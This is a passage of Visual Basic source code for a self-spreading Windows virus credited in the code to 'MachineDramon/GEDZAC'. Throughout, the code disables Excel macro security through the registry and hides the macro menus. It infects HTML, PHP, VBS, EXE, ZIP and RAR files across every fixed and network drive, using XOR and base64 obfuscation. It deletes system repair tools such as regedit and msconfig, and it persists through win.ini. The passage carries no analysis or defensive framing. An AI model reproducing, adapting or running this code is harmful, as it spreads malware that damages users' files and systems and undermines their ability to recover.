"\mcx.vir") i = 1 Do While Xmc.AtendOfstream <> True Lx = Xmc.ReadLine DoEvents Axl.CodeModule.InsertLines i, Lx: i = i + 1 Loop Xmc.Close FileCopy Sp(1) & "\Multi-Infect.dll", Sp(2) & "\Template.xls.scr" Xl.Worksheets(1).Shapes.AddOLEObject Left:=100, Top:=100, _ Width:=200, Height:=300, _ FileName:=Sp(2) & "\Template.xls.scr", link:=False Xl.ActiveWorkBook.SaveAs Xl.StartupPath & "\Template.xls" Set Axl = Nothing: SA Xl.StartupPath & "\Template.xls", 1 Else Kill Xl.StartupPath & "\*.*" End If Xl.Quit Set Xl = Nothing End Sub Sub DisabledXS(Xl) On Error Resume Next If Int(Xl.Version) > 8 Then Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Excel\Security\Level", 1, "REG_DWORD" Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Excel\Security\AccessVBOM", 1, "REG_DWORD" Rw "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\10.0\Excel\Security\Level", 1, "REG_DWORD" Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Excel\Security\Level", 1, "REG_DWORD" Rw "HKEY_USERS\.DEFAULT\Software\Microsoft\Office\9.0\Excel\Security\Level", 1, "REG_DWORD" Xl.ScreenUpdating = False Xl.DisplayStatusBar = False Xl.DisplayAlerts = False Xl.EnableCancelKey = 0 Xl.CommandBars("View").Controls(3).Enabled = False Xl.CommandBars("Visual Basic").Enabled = False Xl.CommandBars("Tools").Controls("Macro").Enabled = False Xl.CommandBars("Tools").Controls(12).Enabled = False Xl.CommandBars("Tools").Controls(13).Enabled = False Xl.CommandBars("Window").Controls(4).Enabled = False Xl.CommandBars("Tools").Controls(14).Enabled = False ElseIf Int(Xl.Version) < 9 Then Rw "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel\Options6", 0, "REG_DWORD" Xl.ScreenUpdating = False Xl.DisplayStatusBar = False Xl.DisplayAlerts = False Xl.EnableCancelKey = 0 Xl.CommandBars("View").Controls(3).Enabled = False Xl.CommandBars("Visual Basic").Enabled = False Xl.CommandBars("Tools").Controls("Macro").Enabled = False Xl.CommandBars("Tools").Controls(11).Enabled = False Xl.CommandBars("Tools").Controls(12).Enabled = False Xl.CommandBars("Tools").Controls(13).Enabled = False Xl.CommandBars("Window").Controls(4).Enabled = False End If End Sub Function Sp(x) On Error Resume Next Select Case x Case 0: Sp = Fs.GetSpecialFolder(0) Case 1: Sp = Fs.GetSpecialFolder(1) Case 2: Sp = Fs.GetSpecialFolder(2) Case 3 Exn = App.Path If Right(Exn, 1) <> "\" Then Exn = Exn & "\" Exs = Array(".exe", ".com", ".pif", ".scr", ".bat") For i = 0 To 4 If Dir(Exn & App.EXEName & Exs(i)) <> "" Then Sp = Exn & App.EXEName & Exs(i): Exit For Next End Select End Function Sub SA(P, a) On Error Resume Next: SetAttr P, a End Sub Function Rm() On Error Resume Next Randomize For i = 1 To 7 r = Int(Rnd * 55) + 66: If r = 92 Then r = 96 Rm = Rm & Chr(r) Next End Function Sub WIni(I_S As String, IK As String, IV As String, IP As String) On Error Resume Next: Dim Wn As Long Wn = WritePrivateProfileString(I_S, IK, IV, IP) End Sub Sub Rw(r, k, t) On Error Resume Next If t = "" Then Sw.RegWrite r, k Else Sw.RegWrite r, k, "REG_DWORD" End Sub Function Rr(r) On Error Resume Next: Rr = Sw.RegRead(r) End Function Function IniR(NS, NK, ND) On Error Resume Next: Dim k As String k = NK: Dim St As String * 400: Dim i As Long i = GetPrivateProfileString(NS, k, "", St, Len(St), ND) IniR = Left(St, i) End Function Sub Variables() On Error Resume Next Set Sd = CreateObject("Scripting.Dictionary") Sd.Add "html", 1: Sd.Add "htm", 2 Sd.Add "php", 4: Sd.Add "asp", 5: Sd.Add "shtml", 6: Sd.Add "shtm", 7: Sd.Add "phtml", 8: Sd.Add "phtm", 9 Sd.Add "plg", 11: Sd.Add "htx", 12: Sd.Add "mht", 13: Sd.Add "mhtml", 14 n = FrFile Open Sp(1) & "\Multi-Infect.dll" For Binary Access Read As n Vx = Space(LOF(n)) Get n, , Vx Close n CodeB64 = B64(Sp(1) & "\Multi-Infect.dll") CodeScript1 = "MIME-Version: 1.0" & vbCrLf & "Content-Location:file:///Multi-Infector.exe" & vbCrLf & "Content-Transfer-Encoding: base64" & vbCrLf & _ CodeB64 & vbCrLf & "" VBSMf = "REM Multi-Infector" & vbCrLf & "Set Fg = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & ")" & vbCrLf & _ "Set Wg = CreateObject(" & Chr(34) & "WScript.Shell" & Chr(34) & ")" & vbCrLf & _ "If Fg.FileExists(Fg.GetSpecialFolder(1)&" & Chr(34) & "\Multi-Infect.dll" & Chr(34) & ") = False Then" & vbCrLf & _ "MF = E(" & Chr(34) & "FM" & Chr(34) & ")" & vbCrLf & _ "Set Fh = Fg.CreateTextFile(Fg.GetSpecialFolder(1)&" & Chr(34) & "\WinLoad.htm" & Chr(34) & ")" & vbCrLf & _ "Fh.Write MF" & vbCrLf & "Fh.Close" & vbCrLf & "Wg.Run Fg.GetSpecialFolder(1)&" & Chr(34) & "\WinLoad.htm" & Chr(34) & vbCrLf & "End if" & vbCrLf & _ "Function E(code)" & vbCrLf & "For i = 1 To Len(code)" & vbCrLf & _ "Ck = Asc(Mid(code, i, 1))" & vbCrLf & "If Ck = Asc(" & Chr(34) & "¥" & Chr(34) & ") Then" & vbCrLf & _ "E = E & " & Chr(34) & "%" & Chr(34) & vbCrLf & "ElseIf Ck = 28 Then" & vbCrLf & _ "E = E & Chr(13)" & vbCrLf & "ElseIf Ck = 29 Then" & vbCrLf & _ "E = E & Chr(10)" & vbCrLf & "Else" & vbCrLf & _ "E = E & Chr(Ck Xor 7)" & vbCrLf & "End If" & vbCrLf & _ "Next" & vbCrLf & "End Function" CodMp = "'" & vbCrLf & "Sub MultiInfector()" & vbCrLf & _ "On Error Resume Next: Dim Fs As Object" & vbCrLf & _ "Set Fs = CreateObject(p(¢Tdunwsni`)AnkbT~tsbjHembds¢))" & vbCrLf & _ "Sc = ActivePresentation.Slides.Count: Sc = Sc - (Sc - 1)" & vbCrLf & _ "Set At = ActivePresentation.Slides(Sc)" & vbCrLf & _ "For i = 1 To At.Shapes.Count" & vbCrLf & _ "If LCase(At.Shapes(i).Name) = LCase(p(¢Ja¢)) Then" & vbCrLf & _ "If Not (Fs.FileExists(Fs.GetSpecialFolder(1) & p(¢[Jrksn*Niabds)ckk¢))) Then" & vbCrLf & _ "At.Shapes(i).Visible = True" & vbCrLf & "At.Shapes(i).OLEFormat.Activate" & vbCrLf & _ "Else" & vbCrLf & "At.Shapes(i).Visible = False" & vbCrLf & "End If" & vbCrLf & "End If" & vbCrLf & _ "Next" & vbCrLf & "End Sub" & vbCrLf & "Private Function p(x)" & vbCrLf & "On Error Resume Next" & vbCrLf & _ "For i = 1 To Len(x)" & vbCrLf & "p = p & Chr(Asc(Mid(x, i, 1)) Xor 7)" & vbCrLf & "Next" & vbCrLf & "End Function" CodMp = Replace(CodMp, "¢", Chr(34)) Vms = CodeScript1 & CodeScript2 For i = 1 To Len(Vms) Ck = Asc(Mid(Vms, i, 1)) If Ck = Asc("%") Then EC = EC & "¥" ElseIf Ck = 13 Then EC = EC & Chr(28) ElseIf Ck = 10 Then EC = EC & Chr(29) Else EC = EC & Chr(Ck Xor 7) End If Next VBSMf = Replace(VBSMf, "FM", EC) wzt = False wzp = Rr("HKEY_CLASSES_ROOT\WinZip\shell\open\command\") wzp = Mid(wzp, 1, Len(wzp) - 5) If (wzp <> "") And (InStr(LCase(wzp), "winzip") <> 0) Then wzt = True If Fs.FileExists(Sp(1) & "\WzDat.dat") Then Set Wd = Fs.OpenTextFile(Sp(1) & "\WzDat.dat") wzx = Wd.ReadAll Wd.Close Else Set Wd = Fs.CreateTextFile(Sp(1) & "\WzDat.dat") Wd.Write "Multi-Infector" & vbCrLf Wd.Close wzx = Space(3) End If wrt = False wrp = Rr("HKEY_CLASSES_ROOT\WinRAR\shell\open\command\") wrp = Mid(wrp, 2, Len(wrp) - 17) & "rar" If (wrp <> "") And (InStr(LCase(wrp), "winrar") <> 0) Then wrt = True If Fs.FileExists(Sp(1) & "\WrDat.dat") Then Set Wa = Fs.OpenTextFile(Sp(1) & "\WrDat.dat") wrx = Wa.ReadAll Wa.Close Else Set Wa = Fs.CreateTextFile(Sp(1) & "\WrDat.dat") Wa.Write "Multi-Infector" & vbCrLf Wa.Close wrx = Space(3) End If Wm1(0) = "\WinCs.scr": Wm1(1) = "\WCompress.scr": Wm1(2) = "\TempFile.bat": Wm1(3) = "\Extrac.com": Wm1(4) = "\WinX.scr" For i = 0 To 4 If Not (Fs.FileExists(Sp(2) & Wm1(i))) Then FileCopy Sp(1) & "\Multi-Infect.dll", Sp(2) & Wm1(i) Next End Sub Sub VBSInfected(rp) On Error Resume Next: SA rp, 0 Set V1 = Fs.OpenTextFile(rp) Vr1 = V1.ReadLine If InStr(Vr1, "REM Multi-Infector") <> 0 Then V1.Close Exit Sub Else Vr2 = Vr1 & vbCrLf & V1.ReadAll: V1.Close End If For i = 1 To Len(Vr2) Ck1 = Asc(Mid(Vr2, i, 1)) If Ck1 = Asc("%") Then EC1 = EC1 & "¥" ElseIf Ck1 = 13 Then EC1 = EC1 & Chr(28) ElseIf Ck1 = 10 Then EC1 = EC1 & Chr(29) Else EC1 = EC1 & Chr(Ck1 Xor 7) End If Next Set V2 = Fs.OpenTextFile(rp, 2, 1) V2.Write VBSMf & vbCrLf & "CodVB=" & Chr(34) & EC1 & Chr(34) & vbCrLf & "Execute E(CodVB)" V2.Close End Sub Sub HtmlInfected(rp) On Error Resume Next: SA rp, 0 Set H1 = Fs.OpenTextFile(rp) Hr1 = H1.ReadLine If InStr(Hr1, "MIME") <> 0 Then H1.Close Exit Sub Else Hr2 = H1.ReadAll: H1.Close End If For i = 1 To Len(Hr2) Ck = Asc(Mid(Hr2, i, 1)) If Ck = Asc("%") Then EC = EC & "¥" ElseIf Ck = 13 Then EC = EC & Chr(28) ElseIf Ck = 10 Then EC = EC & Chr(29) Else EC = EC & Chr(Ck Xor 7) End If Next EC = "Capside = E(" & Chr(34) & EC & Chr(34) & ")" Set H2 = Fs.OpenTextFile(rp, 2, 1) H2.Write CodeScript1 & EC & CodeScript2 H2.Close End Sub Public Function B64(ByVal vsFullPathname) On Error Resume Next Dim b As Integer: Dim Base64Tab As Variant Dim bin(3) As Byte: Dim s, sResult As String: Dim l, i, FileIn, n As Long Base64Tab = Array("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", "a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z", "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "+", "/") Erase bin: l = 0: i = 0: FileIn = 0: b = 0: s = "": FileIn = FreeFile Open vsFullPathname For Binary As FileIn sResult = s & vbCrLf: s = "": l = LOF(FileIn) - (LOF(FileIn) Mod 3) For i = 1 To l Step 3 Get FileIn, , bin(0): Get FileIn, , bin(1): Get FileIn, , bin(2) If Len(s) > 64 Then s = s & vbCrLf: sResult = sResult & s: s = "" End If b = (bin(n) \ 4) And &H3F: s = s & Base64Tab(b) b = ((bin(n) And &H3) * 16) Or ((bin(1) \ 16) And &HF) s = s & Base64Tab(b): b = ((bin(n + 1) And &HF) * 4) Or ((bin(2) \ 64) And &H3) s = s & Base64Tab(b): b = bin(n + 2) And &H3F: s = s & Base64Tab(b) Next i If Not (LOF(FileIn) Mod 3 = 0) Then For i = 1 To (LOF(FileIn) Mod 3) Get FileIn, , bin(i - 1) Next i If (LOF(FileIn) Mod 3) = 2 Then b = (bin(0) \ 4) And &H3F: s = s & Base64Tab(b) b = ((bin(0) And &H3) * 16) Or ((bin(1) \ 16) And &HF) s = s & Base64Tab(b): b = ((bin(1) And &HF) * 4) Or ((bin(2) \ 64) And &H3) s = s & Base64Tab(b): s = s & "=" Else b = (bin(0) \ 4) And &H3F: s = s & Base64Tab(b) b = ((bin(0) And &H3) * 16) Or ((bin(1) \ 16) And &HF) s = s & Base64Tab(b): s = s & "==" End If End If If s <> "" Then s = s & vbCrLf: sResult = sResult & s End If s = "" Close FileIn: B64 = sResult End Function Sub MDisk() On Error Resume Next Set Vd = Fs.Drives For Each Vdt In Vd If (Vdt.DriveType = 2) Or (Vdt.DriveType = 3) Then MFolder Vdt.Path & "\" Next End Sub Sub MFolder(F) On Error Resume Next Set Cfl = Fs.GetFolder(F) Set Cfs = Cfl.Subfolders For Each Fl In Cfs MFiles Fl.Path: MFolder Fl.Path Next End Sub Sub MFiles(F) On Error Resume Next Set fls = Fs.GetFolder(F): Set fs1 = fls.Files For Each Fh In fs1 fx = LCase(Fs.GetExtensionName(Fh.Path)) Fns = LCase(Fh.Name): Fnz = LCase(Fs.GetBaseName(Fh.Path)) If Sd.Exists(fx) = True Then HtmlInfected (Fh.Path) ElseIf (fx = "exe") Or (fx = "scr") Then ExeInfected (Fh.Path) If (Fns = "msconfig.exe") Or (Fns = "drwatson.exe") Or (Fns = "sfc.exe") Or (Fns = "regedit.exe") Or (Fns = "sysedit.exe") Or (Fns = "regedt32.exe") Then Fs.DeleteFile (Fh.Path) ElseIf (fx = "vbs") Or (fx = "vbe") Then VBSInfected (Fh.Path) ElseIf (fx = "zip") Then ZipInfected MsD(Fh.Path), Fnz ElseIf (fx = "rar") Then RarInfected MsD(Fh.Path), Fnz ElseIf Fns = "win.ini" Then Rm3 = Rm: FileCopy Sp(1) & "\Multi-Infect.dll", F & "\" & Rm3 & ".exe": SA F & "\" & Rm3 & ".exe", 6 WIni "windows", "run", F & "\" & Rm3 & ".exe", Fh.Path End If Next End Sub Function MsD(x) On Error Resume Next Msn = Split(x, "\") For i = 0 To UBound(Msn) - 1 If Len(Msn(i)) > 8 Then If InStr(Msn(i), Space(1)) <> 0 Then Msn(i) = Replace(Msn(i), Space(1), "") Mn1 = Left(Msn(i), 6) & "~1" & "\" Else If InStr(Msn(i), Space(1)) <> 0 Then Msn(i) = Replace(Msn(i), Space(1), "") Mn1 = Msn(i) & "\" End If MsD = MsD & Mn1 Next MsD = MsD & Msn(UBound(Msn)) End Function Sub Mensage() On Error Resume Next ' :) MsgBox "W32/MuLti-InFecTor by MachineDramon/GEDZAC - Falckon/GEDZAC" & vbCrLf & _ "Hecho en LatinoAmerica (Perú - Mexico)" & vbCrLf & _ "Derechos reservados", 15, "W32/MuLti-InFecTor" MsgBox "Gracias por Preferir Nuestro Producto", 15, "W32/MuLti-InFecTor" MsgBox "El 26 de Abril es el día de la Tierra" & vbCrLf & _ "¿Que hiciste tú este año para proteger nuestro planeta?", 15, "W32/MuLti-InFecTor" End Sub